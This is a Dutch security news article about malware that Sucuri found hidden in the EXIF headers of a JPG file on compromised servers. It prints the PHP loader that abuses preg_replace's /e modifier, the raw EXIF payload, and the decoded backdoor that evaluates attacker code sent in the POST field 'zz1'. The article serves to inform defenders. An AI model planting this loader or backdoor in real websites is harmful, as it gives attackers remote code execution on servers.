Malware verstopt in EXIF gegevens van JPG afbeeldingen

Beveiligingsonderzoeker Peter Gramantik van Sucuri heeft onlangs op een aantal servers malware ontdekt die in EXIF-headers van een JPG afbeelding was verstopt. Het ging om bestaande afbeeldingen die waren gemanipuleerd.

Het verbergen van informatie in afbeeldingen (steganografie) bestaat al langer. Het ontdekken van verborgen inhoud is alleen via uitgebreide statistische analyse op de afbeeldingen mogelijk. Het is wel voor het eerst dat malware met steganografie wordt verborgen.

De malware bestaat uit twee delen. Het eerste deel staat op een gehackte website en maakt gebruik van PHP-functies (exif_read_data en preg_replace) om kwaadaardige code uit te voeren (eval functie).

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Met de functie exif_read_data wordt EXIF-informatie van afbeeldingen ingelezen. Preg_replace wordt gebruikt om de inhoud van strings te vervangen. Deze functie heeft echter een speciale optie /e waarmee de inhoud van de string wordt uitgevoerd.

Het tweede deel van de malware, de payload, was verstopt in de EXIF-headers van een JPG afbeelding met de naam bun.jpg.

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

De aanvallers lezen zowel Maker en Model uit de EXIF-header van de JPG afbeelding, en geven de informatie aan de preg_replace functie. Nadat $exif['Make'] en $exif['Model'] zijn vervangen door de inhoud van de afbeelding wordt deresulterende code uitgevoerd:

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

De code zet de Base64 gecodeerde malware om naar PHP-code en voert deze uit:

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"] ) }

Hiermee kan een aanvaller willekeurige code laten uitvoeren door de server, door deze in de POST-variabele 'zz1' mee te geven.

Aanmelden voor onze nieuwsbrief